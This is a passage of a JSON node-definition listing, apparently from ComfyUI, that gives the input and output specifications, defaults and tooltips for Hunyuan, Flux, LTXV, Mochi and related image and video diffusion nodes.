["LATENT_UPSCALE_MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentUpscaleModelLoader", "display_name": "Load Latent Upscale Model", "description": "", "python_module": "comfy_extras.nodes_hunyuan", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HunyuanImageToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 848, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 53, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}], "guidance_type": ["COMBO", {"advanced": true, "multiselect": false, "options": ["v1 (concat)", "v2 (replace)", "custom"]}]}, "optional": {"start_image": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "vae", "width", "height", "length", "batch_size", "guidance_type"], "optional": ["start_image"]}, "is_input_list": false, "output": ["CONDITIONING", "LATENT"], "output_is_list": [false, false], "output_name": ["positive", "latent"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "HunyuanImageToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_hunyuan", "category": "model/conditioning/hunyuan video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptyHunyuanImageLatent": {"input": {"required": {"width": ["INT", {"default": 2048, "min": 64, "max": 16384, "step": 32}], "height": ["INT", {"default": 2048, "min": 64, "max": 16384, "step": 32}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["width", "height", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyHunyuanImageLatent", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_hunyuan", "category": "model/latent/hunyuan image", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HunyuanRefinerLatent": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "latent": ["LATENT", {}], "noise_augmentation": ["FLOAT", {"advanced": true, "default": 0.1, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["positive", "negative", "latent", "noise_augmentation"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "HunyuanRefinerLatent", "display_name": "Hunyuan Latent Refiner", "description": "", "python_module": "comfy_extras.nodes_hunyuan", "category": "model/conditioning/hunyuan video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Epsilon Scaling": {"input": {"required": {"model": ["MODEL", {}], "scaling_factor": ["FLOAT", {"advanced": true, "default": 1.005, "min": 0.5, "max": 1.5, "step": 0.001, "display": "number"}]}}, "input_order": {"required": ["model", "scaling_factor"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "Epsilon Scaling", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_eps", "category": "model/patch/unet", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TemporalScoreRescaling": {"input": {"required": {"model": ["MODEL", {}], "tsr_k": ["FLOAT", {"tooltip": "Controls the rescaling strength.\nLower k produces more detailed results; higher k produces smoother results in image generation. Setting k = 1 disables rescaling.", "advanced": true, "default": 0.95, "min": 0.01, "max": 100.0, "step": 0.001, "display": "number"}], "tsr_sigma": ["FLOAT", {"tooltip": "Controls how early rescaling takes effect.\nLarger values take effect earlier.", "advanced": true, "default": 1.0, "min": 0.01, "max": 100.0, "step": 0.001, "display": "number"}]}}, "input_order": {"required": ["model", "tsr_k", "tsr_sigma"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["patched_model"], "output_tooltips": [null], "output_matchtypes": null, "name": "TemporalScoreRescaling", "display_name": "TSR - Temporal Score Rescaling", "description": "[Post-CFG Function]\nTSR - Temporal Score Rescaling (2510.01184)\n\nRescaling the model's score or noise to steer the sampling diversity.\n", "python_module": "comfy_extras.nodes_eps", "category": "model/patch/unet", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CLIPTextEncodeFlux": {"input": {"required": {"clip": ["CLIP", {}], "clip_l": ["STRING", {"multiline": true, "dynamicPrompts": true}], "t5xxl": ["STRING", {"multiline": true, "dynamicPrompts": true}], "guidance": ["FLOAT", {"default": 3.5, "min": 0.0, "max": 100.0, "step": 0.1}]}}, "input_order": {"required": ["clip", "clip_l", "t5xxl", "guidance"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "CLIPTextEncodeFlux", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_flux", "category": "model/conditioning/flux", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FluxGuidance": {"input": {"required": {"conditioning": ["CONDITIONING", {}], "guidance": ["FLOAT", {"default": 3.5, "min": 0.0, "max": 100.0, "step": 0.1}]}}, "input_order": {"required": ["conditioning", "guidance"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "FluxGuidance", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_flux", "category": "model/conditioning/flux", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FluxDisableGuidance": {"input": {"required": {"conditioning": ["CONDITIONING", {}]}}, "input_order": {"required": ["conditioning"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "FluxDisableGuidance", "display_name": null, "description": "This node completely disables the guidance embed on Flux and Flux like models", "python_module": "comfy_extras.nodes_flux", "category": "model/conditioning/flux", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FluxKontextImageScale": {"input": {"required": {"image": ["IMAGE", {}]}}, "input_order": {"required": ["image"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "FluxKontextImageScale", "display_name": null, "description": "This node resizes the image to one that is more optimal for flux kontext.", "python_module": "comfy_extras.nodes_flux", "category": "model/conditioning/flux", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FluxKontextMultiReferenceLatentMethod": {"input": {"required": {"conditioning": ["CONDITIONING", {}], "reference_latents_method": ["COMBO", {"advanced": true, "multiselect": false, "options": ["offset", "index", "uxo/uno", "index_timestep_zero"]}]}}, "input_order": {"required": ["conditioning", "reference_latents_method"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "FluxKontextMultiReferenceLatentMethod", "display_name": "Edit Model Reference Method", "description": "", "python_module": "comfy_extras.nodes_flux", "category": "model/conditioning/flux", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptyFlux2LatentImage": {"input": {"required": {"width": ["INT", {"default": 1024, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 1024, "min": 16, "max": 16384, "step": 16}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["width", "height", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyFlux2LatentImage", "display_name": "Empty Flux 2 Latent", "description": "", "python_module": "comfy_extras.nodes_flux", "category": "model/latent/flux", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Flux2Scheduler": {"input": {"required": {"steps": ["INT", {"default": 20, "min": 1, "max": 4096}], "width": ["INT", {"default": 1024, "min": 16, "max": 16384, "step": 1}], "height": ["INT", {"default": 1024, "min": 16, "max": 16384, "step": 1}]}}, "input_order": {"required": ["steps", "width", "height"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "Flux2Scheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_flux", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FluxKVCache": {"input": {"required": {"model": ["MODEL", {"tooltip": "The model to use KV Cache on."}]}}, "input_order": {"required": ["model"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": ["The patched model with KV Cache enabled."], "output_matchtypes": null, "name": "FluxKVCache", "display_name": "Flux KV Cache", "description": "Enables KV Cache optimization for reference images on Flux family models.", "python_module": "comfy_extras.nodes_flux", "category": "experimental", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LoraSave": {"input": {"required": {"filename_prefix": ["STRING", {"default": "loras/ComfyUI_extracted_lora", "multiline": false}], "rank": ["INT", {"advanced": true, "default": 8, "min": 1, "max": 4096, "step": 1}], "lora_type": ["COMBO", {"advanced": true, "multiselect": false, "options": ["standard", "full_diff"]}], "bias_diff": ["BOOLEAN", {"advanced": true, "default": true}]}, "optional": {"model_diff": ["MODEL", {"tooltip": "The ModelSubtract output to be converted to a lora."}], "text_encoder_diff": ["CLIP", {"tooltip": "The CLIPSubtract output to be converted to a lora."}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["filename_prefix", "rank", "lora_type", "bias_diff"], "optional": ["model_diff", "text_encoder_diff"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "output_tooltips": [], "output_matchtypes": null, "name": "LoraSave", "display_name": "Extract and Save Lora", "description": "", "python_module": "comfy_extras.nodes_lora_extract", "category": "experimental", "output_node": true, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["export lora"], "essentials_category": null, "has_intermediate_output": false}, "TorchCompileModel": {"input": {"required": {"model": ["MODEL", {}], "backend": ["COMBO", {"advanced": true, "multiselect": false, "options": ["inductor", "cudagraphs"]}]}}, "input_order": {"required": ["model", "backend"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "TorchCompileModel", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_torch_compile", "category": "experimental", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptyMochiLatentVideo": {"input": {"required": {"width": ["INT", {"default": 848, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 25, "min": 7, "max": 16384, "step": 6}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["width", "height", "length", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyMochiLatentVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_mochi", "category": "model/latent/mochi", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SkipLayerGuidanceDiT": {"input": {"required": {"model": ["MODEL", {}], "double_layers": ["STRING", {"advanced": true, "default": "7, 8, 9", "multiline": false}], "single_layers": ["STRING", {"advanced": true, "default": "7, 8, 9", "multiline": false}], "scale": ["FLOAT", {"default": 3.0, "min": 0.0, "max": 10.0, "step": 0.1}], "start_percent": ["FLOAT", {"advanced": true, "default": 0.01, "min": 0.0, "max": 1.0, "step": 0.001}], "end_percent": ["FLOAT", {"advanced": true, "default": 0.15, "min": 0.0, "max": 1.0, "step": 0.001}], "rescaling_scale": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["model", "double_layers", "single_layers", "scale", "start_percent", "end_percent", "rescaling_scale"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "SkipLayerGuidanceDiT", "display_name": null, "description": "Generic version of SkipLayerGuidance node that can be used on every DiT model.", "python_module": "comfy_extras.nodes_slg", "category": "advanced/guidance", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SkipLayerGuidanceDiTSimple": {"input": {"required": {"model": ["MODEL", {}], "double_layers": ["STRING", {"advanced": true, "default": "7, 8, 9", "multiline": false}], "single_layers": ["STRING", {"advanced": true, "default": "7, 8, 9", "multiline": false}], "start_percent": ["FLOAT", {"advanced": true, "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}], "end_percent": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.001}]}}, "input_order": {"required": ["model", "double_layers", "single_layers", "start_percent", "end_percent"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "SkipLayerGuidanceDiTSimple", "display_name": null, "description": "Simple version of the SkipLayerGuidanceDiT node that only modifies the uncond pass.", "python_module": "comfy_extras.nodes_slg", "category": "advanced/guidance", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Mahiro": {"input": {"required": {"model": ["MODEL", {}]}}, "input_order": {"required": ["model"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["patched_model"], "output_tooltips": [null], "output_matchtypes": null, "name": "Mahiro", "display_name": "Positive-Biased Guidance", "description": "Modify the guidance to scale more on the 'direction' of the positive prompt rather than the difference between the negative prompt.", "python_module": "comfy_extras.nodes_mahiro", "category": "experimental", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["mahiro", "mahiro cfg", "similarity-adaptive guidance", "positive-biased cfg"], "essentials_category": null, "has_intermediate_output": false}, "LTXVLatentUpsampler": {"input": {"required": {"samples": ["LATENT", {}], "upscale_model": ["LATENT_UPSCALE_MODEL", {}], "vae": ["VAE", {}]}}, "input_order": {"required": ["samples", "upscale_model", "vae"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "LTXVLatentUpsampler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_lt_upsampler", "category": "model/latent/ltxv", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVAudioVAELoader": {"input": {"required": {"ckpt_name": ["COMBO", {"tooltip": "Audio VAE checkpoint to load.", "multiselect": false, "options": []}]}}, "input_order": {"required": ["ckpt_name"]}, "is_input_list": false, "output": ["VAE"], "output_is_list": [false], "output_name": ["Audio VAE"], "output_tooltips": [null], "output_matchtypes": null, "name": "LTXVAudioVAELoader", "display_name": "Load LTXV Audio VAE", "description": "", "python_module": "comfy_extras.nodes_lt_audio", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVAudioVAEEncode": {"input": {"required": {"audio": ["AUDIO", {"tooltip": "The audio to be encoded."}], "audio_vae": ["VAE", {"display_name": "Audio VAE", "tooltip": "The Audio VAE model to use for encoding."}]}}, "input_order": {"required": ["audio", "audio_vae"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["Audio Latent"], "output_tooltips": [null], "output_matchtypes": null, "name": "LTXVAudioVAEEncode", "display_name": "LTXV Audio VAE Encode", "description": "", "python_module": "comfy_extras.nodes_lt_audio", "category": "model/latent/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVAudioVAEDecode": {"input": {"required": {"samples": ["LATENT", {"tooltip": "The latent to be decoded."}], "audio_vae": ["VAE", {"display_name": "Audio VAE", "tooltip": "The Audio VAE model used for decoding the latent."}]}}, "input_order": {"required": ["samples", "audio_vae"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["Audio"], "output_tooltips": [null], "output_matchtypes": null, "name": "LTXVAudioVAEDecode", "display_name": "LTXV Audio VAE Decode", "description": "", "python_module": "comfy_extras.nodes_lt_audio", "category": "model/latent/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVEmptyLatentAudio": {"input": {"required": {"frames_number": ["INT", {"tooltip": "Number of frames.", "default": 97, "min": 1, "max": 1000, "step": 1, "display": "number"}], "frame_rate": ["INT", {"tooltip": "Number of frames per second.", "default": 25, "min": 1, "max": 1000, "step": 1, "display": "number"}], "batch_size": ["INT", {"tooltip": "The number of latent audio samples in the batch.", "default": 1, "min": 1, "max": 4096, "display": "number"}], "audio_vae": ["VAE", {"display_name": "Audio VAE", "tooltip": "The Audio VAE model to get configuration from."}]}}, "input_order": {"required": ["frames_number", "frame_rate", "batch_size", "audio_vae"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["Latent"], "output_tooltips": [null], "output_matchtypes": null, "name": "LTXVEmptyLatentAudio", "display_name": "LTXV Empty Latent Audio", "description": "", "python_module": "comfy_extras.nodes_lt_audio", "category": "model/latent/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXAVTextEncoderLoader": {"input": {"required": {"text_encoder": ["COMBO", {"multiselect": false, "options": ["clip_l.safetensors", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]}], "ckpt_name": ["COMBO", {"multiselect": false, "options": []}], "device": ["COMBO", {"advanced": true, "multiselect": false, "options": ["default", "cpu"]}]}}, "input_order": {"required": ["text_encoder", "ckpt_name", "device"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "output_tooltips": [null], "output_matchtypes": null, "name": "LTXAVTextEncoderLoader", "display_name": "Load LTXV Audio Text Encoder", "description": "Recipes:\nltxav: gemma 3 12B", "python_module": "comfy_extras.nodes_lt_audio", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptyLTXVLatentVideo": {"input": {"required": {"width": ["INT", {"default": 768, "min": 64, "max": 16384, "step": 32}], "height": ["INT", {"default": 512, "min": 64, "max": 16384, "step": 32}], "length": ["INT", {"default": 97, "min": 1, "max": 16384, "step": 8}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["width", "height", "length", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyLTXVLatentVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_lt", "category": "model/latent/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVImgToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "image": ["IMAGE", {}], "width": ["INT", {"default": 768, "min": 64, "max": 16384, "step": 32}], "height": ["INT", {"default": 512, "min": 64, "max": 16384, "step": 32}], "length": ["INT", {"default": 97, "min": 9, "max": 16384, "step": 8}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0}]}}, "input_order": {"required": ["positive", "negative", "vae", "image", "width", "height", "length", "batch_size", "strength"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "LTXVImgToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_lt", "category": "model/conditioning/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVImgToVideoInplace": {"input": {"required": {"vae": ["VAE", {}], "image": ["IMAGE", {}], "latent": ["LATENT", {}], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0}], "bypass": ["BOOLEAN", {"tooltip": "Bypass the conditioning.", "default": false}]}}, "input_order": {"required": ["vae", "image", "latent", "strength", "bypass"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["latent"], "output_tooltips": [null], "output_matchtypes": null, "name": "LTXVImgToVideoInplace", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_lt", "category": "model/conditioning/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ModelSamplingLTXV": {"input": {"required": {"model": ["MODEL", {}], "max_shift": ["FLOAT", {"default": 2.05, "min": 0.0, "max": 100.0, "step": 0.01}], "base_shift": ["FLOAT", {"default": 0.95, "min": 0.0, "max": 100.0, "step": 0.01}]}, "optional": {"latent": ["LATENT", {}]}}, "input_order": {"required": ["model", "max_shift", "base_shift"], "optional": ["latent"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "ModelSamplingLTXV", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_lt", "category": "model/patch/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVConditioning": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "frame_rate": ["FLOAT", {"default": 25.0, "min": 0.0, "max": 1000.0, "step": 0.01}]}}, "input_order": {"required": ["positive", "negative", "frame_rate"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "LTXVConditioning", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_lt", "category": "model/conditioning/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVScheduler": {"input": {"required": {"steps": ["INT", {"default": 20, "min": 1, "max": 10000}], "max_shift": ["FLOAT", {"default": 2.05, "min": 0.0, "max": 100.0, "step": 0.01}], "base_shift": ["FLOAT", {"default": 0.95, "min": 0.0, "max": 100.0, "step": 0.01}], "stretch": ["BOOLEAN", {"tooltip": "Stretch the sigmas to be in the range [terminal, 1].", "advanced": true, "default": true}], "terminal": ["FLOAT", {"tooltip": "The terminal value of the sigmas after stretching.", "advanced": true, "default": 0.1, "min": 0.0, "max": 0.99, "step": 0.01}]}, "optional": {"latent": ["LATENT", {}]}}, "input_order": {"required": ["steps", "max_shift", "base_shift", "stretch", "terminal"], "optional": ["latent"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "LTXVScheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_lt", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GetICLoRAParameters": {"input": {"required": {"iclora_model": ["MODEL", {"tooltip": "Direct output from a LoRA Loader for the specific IC-LoRA from which to extract the metadata."}]}}, "input_order": {"required": ["iclora_model"]}, "is_input_list": false, "output": ["IC_LORA_PARAMETERS"], "output_is_list": [false], "output_name": ["iclora_parameters"], "output_tooltips": ["IC-LoRA parameters extracted from the LoRA metadata (eg. reference_downscale_factor). Connect to LTXVAddGuide if the LoRA requires special handling of the guides."], "output_matchtypes": null, "name": "GetICLoRAParameters", "display_name": "Get IC-LoRA Parameters", "description": "Extracts IC-LoRA parameters from the safetensors metadata of a LoRA-loaded model and outputs them for LTXVAddGuide (eg. reference_downscale_factor).", "python_module": "comfy_extras.nodes_lt", "category": "model/conditioning/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["ic-lora", "ic lora", "iclora", "downscale factor", "reference downscale"], "essentials_category": null, "has_intermediate_output": false}, "LTXVAddGuide": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "latent": ["LATENT", {}], "image": ["IMAGE", {"tooltip": "Image or video to condition the latent video on. Must be 8*n + 1 frames. If the video is not 8*n + 1 frames, it will be cropped to the nearest 8*n + 1 frames."}], "frame_idx": ["INT", {"tooltip": "Frame index to start the conditioning at. For single-frame images or videos with 1-8 frames, any frame_idx value is acceptable. For videos with 9+ frames, frame_idx must be divisible by 8, otherwise it will be rounded down to the nearest multiple of 8. Negative values are counted from the end of the video.", "default": 0, "min": -9999, "max": 9999}], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}, "optional": {"attention_mask": ["MASK", {"tooltip": "Optional pixel-space spatial mask. Controls per-region conditioning influence via self-attention, multiplied by strength."}], "iclora_parameters": ["IC_LORA_PARAMETERS", {"tooltip": "Optional IC-LoRA parameters from a Get IC-LoRA Parameters node. Used for adjusting guide processing as required by certain IC-LoRAs (eg. those with a reference_downscale_factor > 1). When chained, each LTXVAddGuide uses only the parameters connected to it."}]}}, "input_order": {"required": ["positive", "negative", "vae", "latent", "image", "frame_idx", "strength"], "optional": ["attention_mask", "iclora_parameters"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "LTXVAddGuide", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_lt", "category": "model/conditioning/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVPreprocess": {"input": {"required": {"image": ["IMAGE", {}], "img_compression": ["INT", {"tooltip": "Amount of compression to apply on image.", "default": 35, "min": 0, "max": 100}]}}, "input_order": {"required": ["image", "img_compression"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["output_image"], "output_tooltips": [null], "output_matchtypes": null, "name": "LTXVPreprocess", "display_name": "LTXV Preprocess", "description": "", "python_module": "comfy_extras.nodes_lt", "category": "video/preprocessors", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVCropGuides": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "latent": ["LATENT", {}]}}, "input_order": {"required": ["positive", "negative", "latent"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "LTXVCropGuides", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_lt", "category": "model/conditioning/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVConcatAVLatent": {"input": {"required": {"video_latent": ["LATENT", {}], "audio_latent": ["LATENT", {}]}}, "input_order": {"required": ["video_latent", "audio_latent"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["latent"], "output_tooltips": [null], "output_matchtypes": null, "name": "LTXVConcatAVLatent", "display_name": null, 